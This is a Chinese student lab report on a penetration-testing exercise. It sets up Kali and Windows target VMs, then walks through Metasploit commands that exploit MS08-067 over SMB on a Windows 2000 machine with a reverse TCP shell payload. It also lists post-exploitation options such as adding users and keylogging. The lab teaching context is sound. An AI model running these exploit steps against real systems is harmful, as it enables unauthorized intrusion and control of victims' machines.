一、實驗內容
1.使用kali進行靶機的漏洞掃描,利用metasploit選擇其中的一個漏洞進行攻擊,並獲取權限。
2.分析攻擊的原理以及獲取了什么樣的權限。
二、實驗要求
1.熟悉kali原理和使用方法。
2.認真操作,詳細記錄實驗過程和實驗結果。
三、實驗工具
筆記本電腦一台,安裝parallels desktop虛擬機,安裝kali和靶機系統windows10。另外安裝了vmware虛擬機,安裝kali和靶機系統windows2000。
四、實驗步驟
(一)pd虛擬機下搭建滲透測試環境
1.在pd虛擬機下安裝kali攻擊機系統以及windows10靶機系統。
Kali是一個linux系統,Kali Linux預裝了許多滲透測試軟件,包括nmap (端口掃描器)、Wireshark (數據包分析器)、John the Ripper (密碼破解器),以及Aircrack-ng (一應用於對無線局域網進行滲透測試的軟件).用戶可通過硬盤、live CD或live USB運行Kali Linux。Metasploit的Metasploit Framework支持Kali Linux,Metasploit一套針對遠程主機進行開發和執行Exploit代碼的工具。
2.在parallels desktop中設置兩台虛擬機網絡為共享網絡模式(若是vmware虛擬機則是nat模式),自動分配IP地址,之后兩台虛擬機就可以直接ping通。
(1)靶機ip地址獲取:在cmd中輸入ipconfig,獲取ip地址為10.211.55.3。
(2)攻擊機ip地址獲取:在shell中輸入ifconfig,獲取ip地址為10.211.55.4。
(3)可見,兩台虛擬機處於同一網段下,可以互相ping通。
一般來說在unix或linux系統中會一直ping下去,這時按快捷鍵Ctrl+Z或Ctrl+C均可停止ping。
(4)補充說明“vmware下虛擬機的三種網絡模式”
a.橋接。橋接網絡是指本地物理網卡和虛擬網卡通過VMnet0虛擬交換機進行橋接,物理網卡和虛擬網卡在拓撲圖上處於同等地位,那么物理網卡和虛擬網卡就相當於處於同一個網段,虛擬交換機就相當於一台現實網絡中的交換機,所以兩個網卡的IP地址也要設置為同一網段。
b.NAT。NAT模式中,就是讓虛擬機借助NAT(網絡地址轉換)功能,通過宿主機器所在的網絡來訪問公網。NAT模式中,虛擬機的網卡和物理網卡的網絡,不在同一個網絡,虛擬機的網卡是在vmware提供的一個虛擬網絡。
NAT和橋接的比較: NAT模式和橋接模式虛擬機都可以上外網;由於NAT的網絡在vmware提供的一個虛擬網絡里,所以局域網其他主機是無法訪問虛擬機的,而宿主機可以訪問虛擬機,虛擬機可以訪問局域網的所有主機,因為真實的局域網相對於NAT的虛擬網絡,就是NAT的虛擬網絡的外網,不懂的人可以查查NAT的相關知識;橋接模式下,多個虛擬機之間可以互相訪問;NAT模式下,多個虛擬機之間也可以相互訪問。
c.Host-Only。在Host-Only模式下,虛擬網絡是一個全封閉的網絡,它唯一能夠訪問的就是主機。其實Host-Only網絡和NAT網絡很相似,不同的地方就是Host-Only網絡沒有NAT服務,所以虛擬網絡不能連接到Internet。主機和虛擬機之間的通信是通過VMware Network Adepter VMnet1虛擬網卡來實現的。
(二)vmware下搭建滲透測試環境
在按步驟進行攻擊操作后(詳細步驟見第三部分),發現作為靶機的win10系統無漏洞可攻擊,於是改用老師所給的靶機系統進行試驗,在vmware虛擬機下操作。
1.vmware下安裝kali
這里注意其中一步操作“將GRUB安裝至硬盤-將GRUB啟動引導器安裝到主引導記錄嗎?-是”后,“安裝啟動引導器的設備”不能空着,可填寫dev-sda,否則可能出現安裝linux后黑屏只出現光標的現象。
2.設置網絡模式
設置虛擬機下的kali和windows靶機系統為nat模式。其中設置靶機ip地址為192.168.87.131,攻擊機ip地址為192.168.87.129,且互相都可以ping通。
(三)MS08_067遠程漏洞攻擊實踐
1.在kali終端中開啟msfconsole。
2.輸入命令search ms08_067,會顯示出找到的滲透模塊,如下圖所示:
3.輸入命令use exploit/windows/smb/ms08_067_netapi,進入該漏洞模塊的使用。
4.輸入命令show payloads會顯示出有效的攻擊載荷,比如shell_reverse_tcp。
5.命令show targets會顯示出可以被攻擊的靶機的操作系統型號,如下圖所示:
6.使用命令set payload generic/shell_reverse_tcp設置攻擊有效載荷。
7.輸入命令show options顯示我們需要在攻擊前需要設置的數據。
8.輸入命令set LHOST "kali Ip",即set LHOST 192.168.87.129;set RHOST "Win Ip",即set RHOST 192.168.87.131。
使用命令show options再次查看payload狀態。
9.輸入命令exploit開始攻擊,如下圖所示是正常攻擊成功結果。
10.在kali上執行ipconfig/all得到如下圖所示:
在win 2000上執行同樣的命令(所得與上圖相同)如下圖所示:
11.輸入“netstat -a”命令,可以查看靶機開啟了哪些端口。
12.輸入“netstat -n”命令, 查看靶機端口的網絡連接情況。
五、思考
1.原理分析
MS08_067漏洞是著名的遠程溢出漏洞,影響除Windows Server 2008 Core以外的所有Windows系統,包括:Windows 2000/XP/Server 2003/Vista/Server 2008的各個版本,甚至還包括測試階段的Windows 7 Pro-Beta。本次實驗就是metasploit利用ms08_067漏洞對win2000虛擬機進行滲透測試。
MS08_067是一個在windows445號端口上的漏洞,需要事先查看該端口是否開放,這里使用“nmap -PS 靶機ip”語句發現445號端口開放。因此可以使用MS08_067漏洞進行exploit。
2.實驗拓展
本次實驗獲得了靶機的cmdshell,除了實驗中展示的幾種操作,還可以進行新建用戶、截屏、記錄鍵盤輸入、獲取ruby交互界面、進程遷移、安裝成服務等等許多操作。今后還可以對瀏覽器、客戶端等方面的攻擊進行拓展實踐。